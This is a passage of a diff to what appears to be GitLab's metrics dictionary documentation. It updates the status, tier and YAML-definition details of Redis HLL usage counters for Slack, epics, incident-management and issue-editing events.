+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9724,7 +9712,7 @@ Calculated unique users to trigger a Slack message by creating a note by month
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9736,7 +9724,7 @@ Calculated unique users to trigger a Slack message by creating a note by week
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9748,7 +9736,7 @@ Calculated unique users to trigger a Slack message by performing a Git push by m
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9760,7 +9748,7 @@ Calculated unique users to trigger a Slack message by performing a Git push by w
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9772,7 +9760,7 @@ Calculated unique users to trigger a Slack message by performing a tag push by m
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9784,7 +9772,7 @@ Calculated unique users to trigger a Slack message by performing a tag push by w
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9796,7 +9784,7 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -9808,10 +9796,562 @@ Calculated unique users to trigger a Slack message by performing an action on a
Group: `group::ecosystem`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_monthly`
+
+Total monthly users count for epics_usage
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210318183733_epics_usage_total_unique_counts_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_weekly`
+
+Total weekly users count for epics_usage
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210318183220_epics_usage_total_unique_counts_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_closed_monthly`
+
+Counts of MAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310163213_g_project_management_epic_closed_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_closed_weekly`
+
+Counts of WAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310162703_g_project_management_epic_closed_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_created_monthly`
+
+Count of MAU creating epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210305144719_g_product_planning_epic_created_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_created_weekly`
+
+Count of WAU creating epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_monthly`
+
+Count of MAU destroying epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210413174710_g_project_management_epic_destroyed_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_weekly`
+
+Count of WAU destroying epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210413174449_g_project_management_epic_destroyed_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_monthly`
+
+Count of MAU adding issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312144719_g_product_planning_epic_issue_added_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_weekly`
+
+Count of WAU adding issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312181918_g_product_planning_epic_issue_added_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_monthly`
+
+Counts of MAU moving epic issues between projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405190240_g_project_management_epic_issue_moved_from_project_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_weekly`
+
+Counts of WAU moving epic issues between projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405185814_g_project_management_epic_issue_moved_from_project_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_monthly`
+
+Count of MAU removing issues from epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401183230_g_project_management_epic_issue_removed_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_weekly`
+
+Counts of WAU removing issues from epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401182457_g_project_management_g_project_management_epic_issue_removed_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_monthly`
+
+Counts of MAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310164247_g_project_management_epic_reopened_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_weekly`
+
+Counts of WAU re-opening epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310164112_g_project_management_epic_reopened_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_monthly`
+
+Count of MAU chaging the epic lables
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312195730_g_project_management_epic_labels_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_weekly`
+
+Count of WAU chaging the epic lables
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312195849_g_project_management_epic_labels_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_monthly`
+
+Count of MAU promoting issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210331193236_g_project_management_issue_promoted_to_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_weekly`
+
+Counts of WAU promoting issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210331192332_g_project_management_issue_promoted_to_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_monthly`
+
+Counts of MAU adding epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314215451_g_project_management_users_creating_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_weekly`
+
+Counts of WAU adding epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314231518_g_project_management_users_creating_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_monthly`
+
+Counts of MAU destroying epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315034808_g_project_management_users_destroying_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_weekly`
+
+Counts of WAU destroying epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315034846_g_project_management_users_destroying_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_monthly`
+
+Count of MAU making epics confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310203049_g_project_management_epic_confidential_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_confidential_weekly`
+
+Count of WAU making epics confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310203225_g_project_management_epic_confidential_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_monthly`
+
+Counts of MAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060507_g_project_management_users_setting_epic_due_date_as_fixed_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_fixed_weekly`
+
+Counts of WAU setting epic due date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060623_g_project_management_users_setting_epic_due_date_as_fixed_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_monthly`
+
+Counts of MAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210325060315_g_project_management_users_setting_epic_due_date_as_inherited_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_due_date_as_inherited_weekly`
+
+Counts of WAU setting epic due date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210325060903_g_project_management_users_setting_epic_due_date_as_inherited_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_monthly`
+
+Counts of MAU setting epic start date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055624_g_project_management_users_setting_epic_start_date_as_fixed_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_fixed_weekly`
+
+Counts of WAU setting epic start date as fixed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315054905_g_project_management_users_setting_epic_start_date_as_fixed_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_monthly`
+
+Counts of MAU setting epic start date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315055439_g_project_management_users_setting_epic_start_date_as_inherited_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_start_date_as_inherited_weekly`
+
+Counts of WAU setting epic start date as inherited
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315055342_g_project_management_users_setting_epic_start_date_as_inherited_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_monthly`
+
+Count of MAU making epics visible
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312093611_g_project_management_epic_visible_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_setting_epic_visible_weekly`
+
+Count of WAU making epics visible
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312093243_g_poject_management_epic_visible_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_monthly`
+
+Counts of MAU changing epic descriptions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312102051_g_project_management_users_updating_epic_descriptions_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_descriptions_weekly`
+
+Counts of WAU changing epic descriptions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101753_g_project_management_users_updating_epic_descriptions_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_monthly`
+
+Counts of MAU updating epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314234202_g_project_management_users_updating_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_notes_weekly`
+
+Counts of WAU updating epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314234041_g_project_management_users_updating_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_monthly`
+
+Counts of MAU changing epic titles
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312101935_g_project_management_users_updating_epic_titles_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_epic_titles_weekly`
+
+Counts of WAU changing epic titles
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312101826_g_project_management_users_updating_epic_titles_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_monthly`
+
+Counts of MAU manually updating fixed due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043548_g_project_management_users_updating_fixed_epic_due_date_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_due_date_weekly`
+
+Counts of WAU manually updating fixed due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329042536_g_project_management_users_updating_fixed_epic_due_date_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_monthly`
+
+Counts of MAU manually updating fixed start date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210329043509_g_project_management_users_updating_fixed_epic_start_date_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_updating_fixed_epic_start_date_weekly`
+
+Counts of WAU manually updating fixed start date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210329043402_g_project_management_users_updating_fixed_epic_start_date_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
### `redis_hll_counters.ide_edit.g_edit_by_sfe_monthly`
Missing description
@@ -9932,6 +10472,30 @@ Status: `data_available`
Tiers:
+### `redis_hll_counters.incident_management.i_incident_management_oncall_notification_sent_monthly`
+
+Count of unique users to receive a notification while on-call
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405222005_i_incident_management_oncall_notification_sent_monthly.yml)
+
+Group: `group::monitor`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.incident_management.i_incident_management_oncall_notification_sent_weekly`
+
+Count of unique users to receive a notification while on-call
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405220139_i_incident_management_oncall_notification_sent_weekly.yml)
+
+Group: `group::monitor`
+
+Status: `implemented`
+
+Tiers: `premium`, `ultimate`
+
### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly`
Missing description
@@ -10320,13 +10884,13 @@ Tiers:
Count of MAU adding an issue to an epic
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_added_to_epic_weekly`
@@ -10338,43 +10902,43 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_monthly`
Count of MAU changing issue assignees
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_weekly`
Count of WAU changing issue assignees
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_monthly`
Count of MAU changing the epic on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_weekly`
@@ -10386,11 +10950,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_monthly`
-Missing description
+Count of MAU cloning an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml)
@@ -10398,19 +10962,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_weekly`
-Missing description
+Count of WAU cloning an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_closed_monthly`
@@ -10422,19 +10986,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_closed_weekly`
Count of WAU closing an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_monthly`
@@ -10446,19 +11010,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_weekly`
Count of WAU commenting on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_monthly`
@@ -10470,19 +11034,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_weekly`
Count of WAU editing a comment on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_monthly`
@@ -10494,19 +11058,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_weekly`
Count of WAU deleting a comment from an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_created_monthly`
@@ -10518,19 +11082,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_created_weekly`
Count of WAU creating issues
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_monthly`
@@ -10542,19 +11106,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_weekly`
-Count of WAU referncing an issue from somewhere else
+Count of WAU referencing an issue from somewhere else
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_monthly`
@@ -10566,19 +11130,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_weekly`
Count of WAU editing an issue description
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_monthly`
@@ -10590,19 +11154,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_weekly`
Count of WAU adding a design to an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_monthly`
@@ -10614,19 +11178,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_weekly`
Count of WAU modifying a design on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
